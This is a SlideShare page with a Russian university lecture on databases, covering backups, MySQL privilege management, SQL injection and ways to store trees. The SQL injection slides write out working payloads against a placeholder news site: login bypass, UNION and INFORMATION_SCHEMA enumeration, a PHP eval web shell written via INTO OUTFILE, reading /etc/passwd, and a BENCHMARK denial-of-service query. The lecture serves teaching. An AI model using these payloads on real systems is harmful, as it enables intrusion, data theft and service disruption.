SlideShare a Scribd company logo
1 of 32
СУБД
Лекция 9
Павел Щербинин
Резервное копирование:
Зачем?
Восстановление после аварии
Человек передумал
Аудит
Тестирование
Резервное копирование:
Логические резервные копии
• Это обычные файлы, которые можно обрабатывать с помощью
стандартных текстовых редакторов
• Из них легко восстанавливать данные. Достаточно просто
подать файл по конвейеру на вход программы mysql или
воспользоваться программой mysqlimport.
• Резервное копирование и возврат данных можно выполнять по
сети, то есть не на той же машине, где работает сервер MySQL.
• Процедуру можно очень гибко настраивать
• Они не зависят от подсистемы хранения.
• Они могут помочь избежать повреждения данных
Резервное копирование:
Логические резервные копии
• Для их генерации требуется работа сервера, так что процессор
загружается сильнее.
• В некоторых случаях логические копии оказываются объемнее
исходных физических файлов. Зачастую логические копии
хорошо поддаются сжатию, но для этого нужно
дополнительное процессорное время.
• Потеря точности в представлении чисел с плавающей точкой
может помешать правильному восстановлению данных из
файлов дампа.
• Для восстановления данных из логической копии необходимо
загружать и интерпретировать команды и перестраивать
индексы, что возлагает на сервер еще больше работы.
Резервное копирование:
Физические резервные копии
• Для получения физической копии нужно просто скопировать
требуемые файлы в другое место. Никакой дополнительной
работы для их генерации выполнять не придется.
• Трудоемкость возврата данных из физической копии может
быть проще и зависит от подсистемы хранения. В случае
MyISAM достаточно просто скопировать файлы в исходное
место
• Физические копии можно переносить между платформами,
операционными системами и версиями MySQL.
• Восстановление с физических копий может оказаться быстрее,
потому что серверу не нужно выполнять SQL-команды и
строить индексы. При наличии таблиц InnoDB, которые не
помещаются целиком в память сервера, восстановление
данных из физических файлов может быть гораздо быстрее.
Резервное копирование:
Физические резервные копии
• Объем физических файлов InnoDB, как правило, гораздо
больше соответствующих логических копий. Обычно в
табличном пространстве InnoDB очень много неиспользуемого
места. К тому же какое-то пространство отведено под цели, не
связанные с хранением табличных данных (буфер вставки,
сегмент отката и т. д.).
• Не всегда физическую копию можно перенести на другую
платформу, операционную систему или версию MySQL. В
частности, препятствием может стать чувствительность к
регистру букв и формат чисел с плавающей точкой. Перенос
файлов в систему с другим форматом чисел с плавающей
точкой вообще невозможен.
Что копировать?
Неочевидные данные
Не забудьте о данных, которые не бросаются в глаза, например:
двоичные журналы и журналы транзакций InnoDB.
Код
В частности, триггеры и хранимые процедуры.
Конфигурация репликации
Для восстановления сервера, участвующего в репликации,
следует включать в резервную копию все необходимые для
репликации файлы.
Конфигурация сервера
Если потребуется восстановить данные после настоящей
катастрофы.
Отдельные файлы операционной системы
На UNIX-сервере это могут быть таблицы cron, конфигурация
пользователей и групп и правила sudo.
Терминология
Аутентификация
Кто вы такой?
Авторизация
Что вам разрешено делать?
Контроль доступа
Какие данные вам разрешено видеть и/или изменять?
Привилегии и разрешения
Способ представления в MySQL права доступа.
Объектные привилегии разрешают доступ к конкретным
объектам.
Глобальные привилегии позволяют что-то делать с самим
сервером
Таблицы доступа
user
В каждой строке хранятся учетные данные пользователя (имя,
местоположение и зашифрованный пароль) и его глобальные привилегии.
db
В каждой строке хранятся привилегии уровня базы данных для одного
пользователя.
host
В каждой строке хранятся привилегии доступа к одной базе данных для
пользователя, подключающегося из заданного местоположения.
tables_priv
В каждой строке хранятся привилегии доступа одного пользователя к одной
таблице.
columns_priv
В каждой строке хранятся привилегии доступа одного пользователя к одному
столбцу.
procs_priv
В каждой строке представлены привилегии доступа одного пользователя к
одной хранимой подпрограмме (процедуре или функции).
Таблицы доступа
Привелегии
GRANT [privileges] ON [objects] TO [user];
GRANT [privileges] ON [objects] TO [user] IDENTIFIED BY [password];
REVOKE [privileges] ON [objects] FROM [user];
Виды записей
Учетная запись системного администратора
GRANT ALL PRIVILEGES ON *.* TO root@localhost IDENTIFIED BY
p4ssword WITH GRANT OPTION;
Учетные записи администраторов базы данных(АБД)
GRANT ALL PRIVILEGES ON *.* TO john@localhost IDENTIFIED BY
p4ssword WITH GRANT OPTION;
Учетные записи для сотрудников
GRANT INSERT,UPDATE PRIVILEGES ON widgets.orders TO
tera@%.widgets.example.com IDENTIFIED BY p4ssword;
Доступ только для протоколирования
GRANT INSERT ON logs.* TO logger@%.widgets.example.com
IDENTIFIED BY
Резервное копирование
GRANT SELECT, LOCK TABLES, FILE ON *.* TO backup@localhost
IDENTIFIED BY p4ssword;
Эксплуатация и мониторинг
GRANT PROCESS, SHUTDOWN on *.* TO
noc@monitorserver.noc.widgets.example.com IDENTIFIED BY
p4ssword;
Отзыв привилегий
GRANT SELECT ON *.* TO user;
REVOKE SELECT ON sakila.film FROM user;
ERROR 1147 (42000): There is no such grant
defined for user
user on host % on table film
REVOKE ALL PRIVILEGES ON...;
DROP USER ;
SQL-injection
Строковой входящий параметр
http://xxx/news.php?id=1
SELECT * FROM news WHERE id='$id‘
http://xxx/news.php?id=1’
SELECT * FROM news WHERE id='1''
mysql_query(): You have an error in your SQL
syntax check the manual that corresponds to
your MySQL server version for the right syntax
to use near '1''
http://xxx/news.php?id=1’ --
SELECT * FROM news WHERE id='1' -- '
SQL-injection
Авторизация
SELECT * FROM users WHERE login='$login' AND
pass='$pass'
SELECT * FROM users WHERE login='Admin' -- ' AND
pass='123'
SELECT * FROM users WHERE login='Admin' AND pass='123'
OR login='Admin' -- '
SELECT * FROM users WHERE (login='Admin' AND pass='123')
OR (login='Admin')
SQL-injection
Оператор LIKE
SELECT * FROM users WHERE login LIKE 'Admin'
AND pass LIKE '123'
SELECT * FROM users WHERE login LIKE 'Admin'
AND pass LIKE '%'
SQL-injection
Команда UNION
SELECT * FROM news WHERE id='1' UNION SELECT 1 --
mysql_query(): The used SELECT statements have a
different number of columns
http://xxx/news.php?id=1' UNION SELECT 1, 2 --
Ошибка. «The used SELECT statements have a different number of
columns»
http://xxx/news.php?id=1' UNION SELECT 1,2,3 --
Опять ошибка.
http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --
О! Отобразилось точно также как и http://xxx/news.php?id=1
SQL-injection
Команда GROUP BY/ORDER BY
http://xxx/news.php?id=1' GROUP BY 2 --
http://xxx/news.php?id=1' GROUP BY 10 –
mysql_query(): Unknown column '10' in 'group statement'
http://xxx/news.php?id=1' GROUP BY 5 –
http://xxx/news.php?id=1' GROUP BY 7 –
mysql_query(): Unknown column '7' in 'group statement'
http://xxx/news.php?id=1' GROUP BY 6 --
SQL-injection
INFORMATION_SCHEMA
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6
FROM INFORMATION_SCHEMA.TABLES --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6
FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,
COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’Users’ LIMIT 0,1 --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,
COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='Users' LIMIT 1,1 --
SQL-injection
INFORMATION_SCHEMA
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6
FROM INFORMATION_SCHEMA.TABLES --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6
FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,
COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’Users’ LIMIT 0,1 --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,
COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='Users' LIMIT 1,1 --
SQL-injection
Работа с файлами
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE
'1.txt' --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php
eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php' --
http://xxx/news.php?id=-1' UNION SELECT
1,2,LOAD_FILE('etc/passwd'),4,5,6
SQL-injection
DOS ататка
SELECT BENCHMARK(100000,md5(current_time))
SELECT
BENCHMARK(100000,BENCHMARK(100000,md5(current_time)))
http://xxx/news.php?id=-1' UNION SELECT 1, 2,
BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4,
5, 6 --
Список смежных вершин
(Adjacency List)
Список смежных вершин
(Adjacency List)
Главный недостаток такого подхода — необходимо достоверно знать
количество уровней вложенности в вашей иерархии, кроме того, чем больше
иерархия, тем больше JOIN'ов — тем ниже производительность.
Тем не менее, данный способ обладает и существенными достоинствами — в
дерево легко вносить изменения, менять местами и удалять узлы.
Данный алгоритм хорошо применим, если вы оперируете с небольшими
древовидными структурами, которые часто поддаются изменениям.
С другой стороны, этот алгоритм также довольно уверенно себя чувствует и с
большими деревьями, если считывать их порциями вида «знаю родителя —
прочитать всех наследников». Хороший пример такого случая — динамически
подгружаемые деревья.
Однако он плохо применим, когда нужно вычитывать какие-либо иные куски
дерева, находить пути, предыдущие и следующие узлы при обходе и
вычитывать ветки дерева целиком (на всю глубину).
Вложенное множество
(Nested Set)
Вложенное множество
(Nested Set)
Вывод — Nested Set действительно хорош, когда нам необходимо считывать
структуру деревьев из БД. При этом он одинаково хорош для деревьев
любого объема.
Тем не менее, для иерархических структур, которые подвергаются частому
изменению он, очевидно, не будет являться оптимальным выбором.
Материализованный путь
(Materialized Path)
Материализованный путь
(Materialized Path)
Во-первых, по сравнению с Nested Set, он более поддается изменениям. В то
же время остается достаточно удобным для выборки деревьев целиком и их
частей. Но, и он не идеален. Особенно по части поиска предков ветки.
Использование именно этого алгоритма может быть заметно удобнее, для
деревьев, над которыми часто выполняются как операции чтения, так и
изменения.
Алгоритм довольно уверенно себя чувствует на достаточно больших объемах
данных.
Наиболее неприятной в данном алгоритме будет операция вставки узла в
середину уже существующей структуры и перенос одной ветки в другую.
А вот удаление, добавление в конец или изменение узла — это операции
довольно простые, и, как правило, не вызывают сложностей в данной
модели.
Комбинированный подход
По сути вопроса следует отметить, что скомбинировать приведенные методы
можно лишь в двух направлениях:
• Списки смежности + материализованный путь (Adjacency List +
Materialized Path)
• Списки смежности + вложенные множества (Adjacency List + Nested Set)
Комбинировать же Nested Set и Materialized Path особого смысла не имеет,
т.к. существенного выигрыша ни в чтении, ни в записи вы не получите.
AL+MP
Для AL при использовании с MP:
• Улучшаются операции выборки ветвей и поддеревьев
целиком
• Ухудшаются операции переноса ветвей
Для MP при использовании с AL:
• Улучшаются операции выборки наследников заданного
узла
• Улучшаются операции выборки родителей заданного узла
AL+NS
Для связки AL+NS взаимовыгодность не столь очевидна.
В первую очередь это объясняется тем, что недостатки от
проблем изменения узлов дерева в модели NS напрочь убивают
в этой сфере все достоинства AL.
Это значит, что такую связку следует рассматривать лишь как
качественное улучшение поиска родителей и наследников
заданного узла в алгоритме NS, а также как повышение
надежности самого алгоритма (ключи можно всегда
перестроить в случае порчи — информацию о связях хранит AL).
Но ведь и это качественное улучшение, хотя и не такое
очевидное.
Спасибо за внимание
Павел Щербинин
p.scherbinin@corp.mail.ru

More Related Content

What's hot

Новые возможности языка SQL в Firebird 3.0
Новые возможности языка SQL в Firebird 3.0Новые возможности языка SQL в Firebird 3.0
Новые возможности языка SQL в Firebird 3.0Alexey Kovyazin
 
Firebird 2.5 - вектор дальнейшего развития, Dmitry Yemanov, (in Russian)
Firebird 2.5 - вектор дальнейшего развития, Dmitry Yemanov, (in Russian)Firebird 2.5 - вектор дальнейшего развития, Dmitry Yemanov, (in Russian)
Firebird 2.5 - вектор дальнейшего развития, Dmitry Yemanov, (in Russian)Alexey Kovyazin
 
MySQL Optimization. Russian
MySQL Optimization. RussianMySQL Optimization. Russian
MySQL Optimization. RussianRawan Qurmet
 
My sql 5.6-new-stable-mmug
My sql 5.6-new-stable-mmugMy sql 5.6-new-stable-mmug
My sql 5.6-new-stable-mmugAndrey Tokarchuk
 
Web осень 2013 лекция 3
Web осень 2013 лекция 3Web осень 2013 лекция 3
Web осень 2013 лекция 3Technopark
 
Query perfomance tuning
Query perfomance tuningQuery perfomance tuning
Query perfomance tuningcollabock
 
Web осень 2013 лекция 1
Web осень 2013 лекция 1Web осень 2013 лекция 1
Web осень 2013 лекция 1Technopark
 
XML Native Database на примере SednaXML
XML Native Database на примере SednaXMLXML Native Database на примере SednaXML
XML Native Database на примере SednaXMLSlach
 
Бессигнатурное обнаружение PHP-бэкдоров
Бессигнатурное обнаружение PHP-бэкдоровБессигнатурное обнаружение PHP-бэкдоров
Бессигнатурное обнаружение PHP-бэкдоровPositive Hack Days
 
СУБД осень 2012 лекция 7
СУБД осень 2012 лекция 7СУБД осень 2012 лекция 7
СУБД осень 2012 лекция 7Technopark
 
Введение в отладку производительности MySQL приложений
Введение в отладку производительности MySQL приложенийВведение в отладку производительности MySQL приложений
Введение в отладку производительности MySQL приложенийSveta Smirnova
 
Web осень 2013 лекция 9
Web осень 2013 лекция 9Web осень 2013 лекция 9
Web осень 2013 лекция 9Technopark
 
поиск узких мест в производительности My sql ботанический определитель. г. ру...
поиск узких мест в производительности My sql ботанический определитель. г. ру...поиск узких мест в производительности My sql ботанический определитель. г. ру...
поиск узких мест в производительности My sql ботанический определитель. г. ру...rit2011
 
MariaDB 10.1 - что нового.
MariaDB 10.1 - что нового.MariaDB 10.1 - что нового.
MariaDB 10.1 - что нового.Sergey Petrunya
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6Technopark
 
PHP 5.4: Что нового?
PHP 5.4: Что нового?PHP 5.4: Что нового?
PHP 5.4: Что нового?phpdevby
 
#RuPostgresLive 4: как писать и читать сложные SQL-запросы
#RuPostgresLive 4: как писать и читать сложные SQL-запросы#RuPostgresLive 4: как писать и читать сложные SQL-запросы
#RuPostgresLive 4: как писать и читать сложные SQL-запросыNikolay Samokhvalov
 
Решения на базе СУБД Firebird в крупных компаниях и государственных учреждени...
Решения на базе СУБД Firebird в крупных компаниях и государственных учреждени...Решения на базе СУБД Firebird в крупных компаниях и государственных учреждени...
Решения на базе СУБД Firebird в крупных компаниях и государственных учреждени...Alexey Kovyazin
 
MySQL для высоконагруженных проектов
MySQL для высоконагруженных проектовMySQL для высоконагруженных проектов
MySQL для высоконагруженных проектовSoftline
 
InterBase XE7: Применение Change Views для синхронизации данных
InterBase XE7: Применение Change Views для синхронизации данныхInterBase XE7: Применение Change Views для синхронизации данных
InterBase XE7: Применение Change Views для синхронизации данныхAndrew Sovtsov
 

What's hot (20)

Новые возможности языка SQL в Firebird 3.0
Новые возможности языка SQL в Firebird 3.0Новые возможности языка SQL в Firebird 3.0
Новые возможности языка SQL в Firebird 3.0
 
Firebird 2.5 - вектор дальнейшего развития, Dmitry Yemanov, (in Russian)
Firebird 2.5 - вектор дальнейшего развития, Dmitry Yemanov, (in Russian)Firebird 2.5 - вектор дальнейшего развития, Dmitry Yemanov, (in Russian)
Firebird 2.5 - вектор дальнейшего развития, Dmitry Yemanov, (in Russian)
 
MySQL Optimization. Russian
MySQL Optimization. RussianMySQL Optimization. Russian
MySQL Optimization. Russian
 
My sql 5.6-new-stable-mmug
My sql 5.6-new-stable-mmugMy sql 5.6-new-stable-mmug
My sql 5.6-new-stable-mmug
 
Web осень 2013 лекция 3
Web осень 2013 лекция 3Web осень 2013 лекция 3
Web осень 2013 лекция 3
 
Query perfomance tuning
Query perfomance tuningQuery perfomance tuning
Query perfomance tuning
 
Web осень 2013 лекция 1
Web осень 2013 лекция 1Web осень 2013 лекция 1
Web осень 2013 лекция 1
 
XML Native Database на примере SednaXML
XML Native Database на примере SednaXMLXML Native Database на примере SednaXML
XML Native Database на примере SednaXML
 
Бессигнатурное обнаружение PHP-бэкдоров
Бессигнатурное обнаружение PHP-бэкдоровБессигнатурное обнаружение PHP-бэкдоров
Бессигнатурное обнаружение PHP-бэкдоров
 
СУБД осень 2012 лекция 7
СУБД осень 2012 лекция 7СУБД осень 2012 лекция 7
СУБД осень 2012 лекция 7
 
Введение в отладку производительности MySQL приложений
Введение в отладку производительности MySQL приложенийВведение в отладку производительности MySQL приложений
Введение в отладку производительности MySQL приложений
 
Web осень 2013 лекция 9
Web осень 2013 лекция 9Web осень 2013 лекция 9
Web осень 2013 лекция 9
 
поиск узких мест в производительности My sql ботанический определитель. г. ру...
поиск узких мест в производительности My sql ботанический определитель. г. ру...поиск узких мест в производительности My sql ботанический определитель. г. ру...
поиск узких мест в производительности My sql ботанический определитель. г. ру...
 
MariaDB 10.1 - что нового.
MariaDB 10.1 - что нового.MariaDB 10.1 - что нового.
MariaDB 10.1 - что нового.
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
 
PHP 5.4: Что нового?
PHP 5.4: Что нового?PHP 5.4: Что нового?
PHP 5.4: Что нового?
 
#RuPostgresLive 4: как писать и читать сложные SQL-запросы
#RuPostgresLive 4: как писать и читать сложные SQL-запросы#RuPostgresLive 4: как писать и читать сложные SQL-запросы
#RuPostgresLive 4: как писать и читать сложные SQL-запросы
 
Решения на базе СУБД Firebird в крупных компаниях и государственных учреждени...
Решения на базе СУБД Firebird в крупных компаниях и государственных учреждени...Решения на базе СУБД Firebird в крупных компаниях и государственных учреждени...
Решения на базе СУБД Firebird в крупных компаниях и государственных учреждени...
 
MySQL для высоконагруженных проектов
MySQL для высоконагруженных проектовMySQL для высоконагруженных проектов
MySQL для высоконагруженных проектов
 
InterBase XE7: Применение Change Views для синхронизации данных
InterBase XE7: Применение Change Views для синхронизации данныхInterBase XE7: Применение Change Views для синхронизации данных
InterBase XE7: Применение Change Views для синхронизации данных
 

Viewers also liked

Лекция 11. Вычислительная модель Pregel
Лекция 11. Вычислительная модель PregelЛекция 11. Вычислительная модель Pregel
Лекция 11. Вычислительная модель PregelTechnopark
 
СУБД 2013 Лекция №1 "Введение и начало проектирования"
СУБД 2013 Лекция №1 "Введение и начало проектирования"СУБД 2013 Лекция №1 "Введение и начало проектирования"
СУБД 2013 Лекция №1 "Введение и начало проектирования"Technopark
 
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"Technopark
 
Лекция 10. Apache Mahout
Лекция 10. Apache MahoutЛекция 10. Apache Mahout
Лекция 10. Apache MahoutTechnopark
 
Лекция 2. Основы Hadoop
Лекция 2. Основы HadoopЛекция 2. Основы Hadoop
Лекция 2. Основы HadoopTechnopark
 
Лекция 13. YARN
Лекция 13. YARNЛекция 13. YARN
Лекция 13. YARNTechnopark
 
Лекция 1. Введение в Big Data и MapReduce
Лекция 1. Введение в Big Data и MapReduceЛекция 1. Введение в Big Data и MapReduce
Лекция 1. Введение в Big Data и MapReduceTechnopark
 
Лекция 14. Hadoop в Поиске Mail.Ru
Лекция 14. Hadoop в Поиске Mail.RuЛекция 14. Hadoop в Поиске Mail.Ru
Лекция 14. Hadoop в Поиске Mail.RuTechnopark
 
СУБД 2013 Лекция №3 "Выборка данных (продолжение). Транзакции"
СУБД 2013 Лекция №3 "Выборка данных (продолжение). Транзакции"СУБД 2013 Лекция №3 "Выборка данных (продолжение). Транзакции"
СУБД 2013 Лекция №3 "Выборка данных (продолжение). Транзакции"Technopark
 
СУБД 2013 Лекция №2 "Модификация данных. Выборка данных (начало)"
СУБД 2013 Лекция №2 "Модификация данных. Выборка данных (начало)"СУБД 2013 Лекция №2 "Модификация данных. Выборка данных (начало)"
СУБД 2013 Лекция №2 "Модификация данных. Выборка данных (начало)"Technopark
 
Лекция 7. Введение в Pig и Hive
Лекция 7. Введение в Pig и HiveЛекция 7. Введение в Pig и Hive
Лекция 7. Введение в Pig и HiveTechnopark
 
Лекция 12. Spark
Лекция 12. SparkЛекция 12. Spark
Лекция 12. SparkTechnopark
 
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...Technopark
 
Java осень 2014 занятие 2
Java осень 2014 занятие 2Java осень 2014 занятие 2
Java осень 2014 занятие 2Technopark
 
Java осень 2014 занятие 6
Java осень 2014 занятие 6Java осень 2014 занятие 6
Java осень 2014 занятие 6Technopark
 
Лекция 4. MapReduce в Hadoop (введение)
Лекция 4. MapReduce в Hadoop (введение)Лекция 4. MapReduce в Hadoop (введение)
Лекция 4. MapReduce в Hadoop (введение)Technopark
 
Лекция 5. MapReduce в Hadoop (алгоритмы)
Лекция 5. MapReduce в Hadoop (алгоритмы)Лекция 5. MapReduce в Hadoop (алгоритмы)
Лекция 5. MapReduce в Hadoop (алгоритмы)Technopark
 
Тестирование весна 2014 смешанное занятие 3
Тестирование весна 2014 смешанное занятие 3Тестирование весна 2014 смешанное занятие 3
Тестирование весна 2014 смешанное занятие 3Technopark
 
Лекция 3. Распределённая файловая система HDFS
Лекция 3. Распределённая файловая система HDFSЛекция 3. Распределённая файловая система HDFS
Лекция 3. Распределённая файловая система HDFSTechnopark
 
Лекция 6. MapReduce в Hadoop (графы)
Лекция 6. MapReduce в Hadoop (графы)Лекция 6. MapReduce в Hadoop (графы)
Лекция 6. MapReduce в Hadoop (графы)Technopark
 

Viewers also liked (20)

Лекция 11. Вычислительная модель Pregel
Лекция 11. Вычислительная модель PregelЛекция 11. Вычислительная модель Pregel
Лекция 11. Вычислительная модель Pregel
 
СУБД 2013 Лекция №1 "Введение и начало проектирования"
СУБД 2013 Лекция №1 "Введение и начало проектирования"СУБД 2013 Лекция №1 "Введение и начало проектирования"
СУБД 2013 Лекция №1 "Введение и начало проектирования"
 
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
 
Лекция 10. Apache Mahout
Лекция 10. Apache MahoutЛекция 10. Apache Mahout
Лекция 10. Apache Mahout
 
Лекция 2. Основы Hadoop
Лекция 2. Основы HadoopЛекция 2. Основы Hadoop
Лекция 2. Основы Hadoop
 
Лекция 13. YARN
Лекция 13. YARNЛекция 13. YARN
Лекция 13. YARN
 
Лекция 1. Введение в Big Data и MapReduce
Лекция 1. Введение в Big Data и MapReduceЛекция 1. Введение в Big Data и MapReduce
Лекция 1. Введение в Big Data и MapReduce
 
Лекция 14. Hadoop в Поиске Mail.Ru
Лекция 14. Hadoop в Поиске Mail.RuЛекция 14. Hadoop в Поиске Mail.Ru
Лекция 14. Hadoop в Поиске Mail.Ru
 
СУБД 2013 Лекция №3 "Выборка данных (продолжение). Транзакции"
СУБД 2013 Лекция №3 "Выборка данных (продолжение). Транзакции"СУБД 2013 Лекция №3 "Выборка данных (продолжение). Транзакции"
СУБД 2013 Лекция №3 "Выборка данных (продолжение). Транзакции"
 
СУБД 2013 Лекция №2 "Модификация данных. Выборка данных (начало)"
СУБД 2013 Лекция №2 "Модификация данных. Выборка данных (начало)"СУБД 2013 Лекция №2 "Модификация данных. Выборка данных (начало)"
СУБД 2013 Лекция №2 "Модификация данных. Выборка данных (начало)"
 
Лекция 7. Введение в Pig и Hive
Лекция 7. Введение в Pig и HiveЛекция 7. Введение в Pig и Hive
Лекция 7. Введение в Pig и Hive
 
Лекция 12. Spark
Лекция 12. SparkЛекция 12. Spark
Лекция 12. Spark
 
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
 
Java осень 2014 занятие 2
Java осень 2014 занятие 2Java осень 2014 занятие 2
Java осень 2014 занятие 2
 
Java осень 2014 занятие 6
Java осень 2014 занятие 6Java осень 2014 занятие 6
Java осень 2014 занятие 6
 
Лекция 4. MapReduce в Hadoop (введение)
Лекция 4. MapReduce в Hadoop (введение)Лекция 4. MapReduce в Hadoop (введение)
Лекция 4. MapReduce в Hadoop (введение)
 
Лекция 5. MapReduce в Hadoop (алгоритмы)
Лекция 5. MapReduce в Hadoop (алгоритмы)Лекция 5. MapReduce в Hadoop (алгоритмы)
Лекция 5. MapReduce в Hadoop (алгоритмы)
 
Тестирование весна 2014 смешанное занятие 3
Тестирование весна 2014 смешанное занятие 3Тестирование весна 2014 смешанное занятие 3
Тестирование весна 2014 смешанное занятие 3
 
Лекция 3. Распределённая файловая система HDFS
Лекция 3. Распределённая файловая система HDFSЛекция 3. Распределённая файловая система HDFS
Лекция 3. Распределённая файловая система HDFS
 
Лекция 6. MapReduce в Hadoop (графы)
Лекция 6. MapReduce в Hadoop (графы)Лекция 6. MapReduce в Hadoop (графы)
Лекция 6. MapReduce в Hadoop (графы)
 

Similar to СУБД 2013 Лекция №9 "Безопасность баз данных"

Role based access-control
Role based access-controlRole based access-control
Role based access-controlAlex Frolov
 
Этичный хакинг или пентестинг в действии
Этичный хакинг или пентестинг в действииЭтичный хакинг или пентестинг в действии
Этичный хакинг или пентестинг в действииSQALab
 
SECON'2017, Лесовский Алексей, Потоковая репликация в PostgreSQL.
SECON'2017, Лесовский Алексей, Потоковая репликация в PostgreSQL.SECON'2017, Лесовский Алексей, Потоковая репликация в PostgreSQL.
SECON'2017, Лесовский Алексей, Потоковая репликация в PostgreSQL.SECON
 
PostgreSQL Streaming Replication
PostgreSQL Streaming ReplicationPostgreSQL Streaming Replication
PostgreSQL Streaming ReplicationAlexey Lesovsky
 
HPE adaptive backup and recovery
HPE adaptive backup and recoveryHPE adaptive backup and recovery
HPE adaptive backup and recoveryAnatoliy Arkhipov
 
бэкап баз данных Oracle c помощью handy backup, март 2014
бэкап баз данных Oracle c помощью handy backup, март 2014бэкап баз данных Oracle c помощью handy backup, март 2014
бэкап баз данных Oracle c помощью handy backup, март 2014Handy_Backup
 
Linuxvirt seminar-csc-2015
Linuxvirt seminar-csc-2015Linuxvirt seminar-csc-2015
Linuxvirt seminar-csc-2015OSLL
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Symantec Backup Exec 2014 vs. Acronis Backup And Recovery 11.5
Symantec Backup Exec 2014 vs. Acronis Backup And Recovery 11.5Symantec Backup Exec 2014 vs. Acronis Backup And Recovery 11.5
Symantec Backup Exec 2014 vs. Acronis Backup And Recovery 11.5hdablin
 
2014.12.23 Александр Андреев, Parallels
2014.12.23 Александр Андреев, Parallels2014.12.23 Александр Андреев, Parallels
2014.12.23 Александр Андреев, ParallelsNikolay Samokhvalov
 
Как обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииКак обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииNaZapad
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Dmitry Evteev
 
еще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийеще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийsnowytoxa
 
Пакетное ядро мобильного оператора: ASR5k, поиски устранение неисправностей
Пакетное ядро мобильного оператора: ASR5k, поиски устранение неисправностейПакетное ядро мобильного оператора: ASR5k, поиски устранение неисправностей
Пакетное ядро мобильного оператора: ASR5k, поиски устранение неисправностейCisco Russia
 
как из трех стоек сделать две.
как из трех стоек сделать две.как из трех стоек сделать две.
как из трех стоек сделать две.Serguei Gitinsky
 
Система резервного копирования OpenLUN backup v1.2.1
Система резервного копирования OpenLUN backup v1.2.1Система резервного копирования OpenLUN backup v1.2.1
Система резервного копирования OpenLUN backup v1.2.1Datamodel
 
(1 часть) 1С-Битрикс. Как настроить двухуровневую конфигурацию веб-приложения...
(1 часть) 1С-Битрикс. Как настроить двухуровневую конфигурацию веб-приложения...(1 часть) 1С-Битрикс. Как настроить двухуровневую конфигурацию веб-приложения...
(1 часть) 1С-Битрикс. Как настроить двухуровневую конфигурацию веб-приложения...ForkConf
 
05 db server_deployment_ru
05 db server_deployment_ru05 db server_deployment_ru
05 db server_deployment_rumcroitor
 
Open source technologies in Microsoft cloud - MS SWIT 2014
Open source technologies in Microsoft cloud - MS SWIT 2014Open source technologies in Microsoft cloud - MS SWIT 2014
Open source technologies in Microsoft cloud - MS SWIT 2014Alexey Bokov
 

Similar to СУБД 2013 Лекция №9 "Безопасность баз данных" (20)

Role based access-control
Role based access-controlRole based access-control
Role based access-control
 
Этичный хакинг или пентестинг в действии
Этичный хакинг или пентестинг в действииЭтичный хакинг или пентестинг в действии
Этичный хакинг или пентестинг в действии
 
SECON'2017, Лесовский Алексей, Потоковая репликация в PostgreSQL.
SECON'2017, Лесовский Алексей, Потоковая репликация в PostgreSQL.SECON'2017, Лесовский Алексей, Потоковая репликация в PostgreSQL.
SECON'2017, Лесовский Алексей, Потоковая репликация в PostgreSQL.
